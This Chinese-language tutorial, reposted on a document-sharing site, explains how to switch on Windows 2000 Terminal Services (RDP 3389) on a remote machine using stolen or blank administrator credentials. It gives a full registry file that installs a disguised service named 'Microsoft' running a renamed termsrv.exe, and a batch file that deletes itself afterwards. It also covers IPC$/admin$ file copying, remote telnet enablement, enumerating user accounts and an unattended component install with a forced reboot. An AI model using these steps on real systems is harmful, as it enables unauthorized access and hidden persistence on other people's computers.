《远程启动终端服务最简单的方法.doc》由会员分享，可在线阅读，更多相关《远程启动终端服务最简单的方法.doc（8页珍藏版）》请在金锄头文库上搜索。
1、远程启动终端服务最简单的方法首先我们制作开启3389的工具 先把下面的注册表内容copy一份，另存为3389.reg注册表文件 注册表内容：Windows Registry Editor Version 5.00 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionnetcache Enabled=0 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon ShutdownWithoutLogon=0 HKEY_LOCAL_MACHINESOFTWAREP
2、oliciesMicrosoftWindowsInstaller EnableAdminTSRemote=dword:00000001 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server TSEnabled=dword:00000001 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD Start=dword:00000002 HKEY_USERS.DEFAULTKeyboard LayoutToggle Hotkey=1 HKEY_LOCAL_MACHIN
3、ESYSTEMCurrentControlSetServicesSecuService Start=dword:00000002 ErrorControl=dword:00000001 ImagePath=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65
4、,00,78,00,65,00,00,00 ObjectName=LocalSystem Type=dword:00000010 Description=Microsoft DisplayName=Microsoft 再把下面的内容保存为批处理文件3389.bat 安装批处理内容： copy termsrv.exe eventlog.exe regedit.exe /s 3389.reg del 3389.reg del 3389.exe del 3389.bat 用winrar制作成exe自解压缩包 61.188.*.* user:administrato pass:空 先使用工具letme
5、in判断其操作系统 letmein ip -all -d TsInternetUser (TsInternetUser)这个是2000的终端用户，现在可以判断其为2000server了 再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾 应该没有开启了 建立ipc连接 copy工具过去 net use ipipc$ pass /user:name copy file ipadmin$system32 用opentelnet开对方的telnet opentelnet ip name pass 1 99 用telnet进入 进入到对方的winntsystem32 目录 解压缩3389.
6、exe 运行安装批处理3389.bat 现在我们把对方重起一下，用reboot 我们用ping命令监视他的上线情况，等他下线，呵呵下了，又上来了，不慌连，3389等会才能好，对方的机器有点慢 看见了么，开启成功! 现在开始.假设我们拿到了一个主机的管理员帐户和密码.主机: 192.168.0.1帐号: administrator密码: 77882000系统安装在c:winnt下从上面的的介绍可以知道,2000专业版是不可以远程安装终端服务的,那我们就要首先来判断此主机是专业版还是服务器版,才能进入下一个环节.我们可以先用对方所开帐户判断:c:letmein 192.168.0.1 -all -
7、dstating connecting to server .Server local time is: 2002-1-13 10:19:22Start get all users form server.-Total = 5-num0= Administrator ()num1= Guest ()num2= IUSR_servername (Internet 来宾帐号 )num3= IWAM_servername (启动 IIS 进程帐号)num4= TsInternetUser (TsInternetUser)-Total = 5-一般情况num2/3/4这三个帐户都是2000server
8、默认开启的.2000专业版默认是不开这些帐户的.我们也可以扫描对方开放的端口进一步确认:用扫描软件如:superscan3.exe扫描对方所开端口判断对方是否开启25,3372等2000server默认开启的端口.当然我们还可以使用一些工具,如:cmdinfo.zip这2个东东可以获得本地或远程NT/2K主机的版本,系统路径,源盘路径,PACK版本,安装时间等一系列信息,一个图形界面,一个命令行.通过返回的信息就可以很清楚的了解对方主机情况.还有一些其他的方法来判断,如:从对方所开的服务来确定等,从上面的判断准确率还算高,别的就不一一说明了.如果你在以上步骤里发现对方主机并没有那3个帐户,默认
9、端口也没开,或cmdinfo返回的信息对方是2000专业版,你就要放弃安装3389的计划了.现在我们要进入下一环节:判断终端服务到底有没有安装?你也许要问:为什么还要判断啊?我扫描没有发现3389端口啊?这里就需要解释一下,如果装了终端服务组件,可能有哪几种情况扫描不到3389端口?1.终端服务termservice在管理工具服务中被禁用.2.终端服务连接所需的RDP协议在管理工具终端服务配置中被停用连接.3.终端服务默认连接端口3389被人为的改变.如何改变请看修改终端服务默认的3389端口(图文)4.终端服务绑定的网络适配器不是外网的.5.防火墙和端口过滤之类的问题.6.(还有我没想到的)
10、其实,我们遇到最多的情况就是以上5种情况.现在开始判组件是否被安装.先与远程主机连接,映射远程主机C盘为本地Z盘net use z: 192.168.0.1c$ 7788 /user:administrator命令成功完成。然后转到Z盘,检查Z:Documents and SettingsAll Users开始菜单程序管理工具里是否有 终端服务管理器和终端服务配置的快捷方式文件如有已安装服务组件的会有,反之,没有(98% 人为故意删的可能性较小)我们还可以在下一步telnet到对方主机后使用终端服务自带的命令进一步的核实.判断完毕,对方好像是没有安装终端服务组件,可以进入下一步:telnet登
11、陆对方主机,准备安装服务组件.在这里,我强烈建议使用2000自带的telnet服务端登陆,有回显,不容易出错.个人感觉使用它,一次成功的比例高很多.(呵呵,个人理解啊!)就算没有开,打开用完后再关掉就完了.abu.写的最快速登录WIN2K TELNET 服务已经把这个方法介绍的非常详细,而且他的办法(在本机建立同名,同密码帐户),让快速实现telnet登陆成为现实.假如我们已开启对方23端口,telnet 192.168.0.1输入用户名/密码*= 欢迎使用 Microsoft Telnet 服务器。 *= C: 成功进入!进入后,再次检查终端组件是否安装:c:query user这个工具需要
12、安装终端服务.这样就进一步确定了组件没有被安装.如果返回:USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIMEw1 console 0 运行中 . 2002-1-12 22:5类似这样的信息,可能组件就已安装.好!都清楚了,可以开始安装了.-C:dir c:sysoc.inf /s /检查INF文件的位置c:WINNTinf 的目录2000-01-10 20:00 3,770 sysoc.inf1 个文件 3,770 字节-C: dir c:sysocmgr.* /s /检查组件安装程序c:WINNTsystem32 的目录2000-01-10
13、20:00 42,768 sysocmgr.exe1 个文件 42,768 字节-c:echo Components c:wawa c:echo TSEnable = on c:wawa /这是建立无人参与的安装参数c:type c:wawa Components TSEnable = on /检查参数文件-c:sysocmgr /i:c:winntinfsysoc.inf /u:c:wawa /q -这一条就是真正安装组件的命令.以上这条命令没有加/R参数,主机在安装完后自动重起.如若加了/R参数主机就不会重起.如果一切正常的话,几分钟后对方主机将会离线,当它重新回来时,3389终端服务就已经开启.你就可以连上去了.问题和建议:A
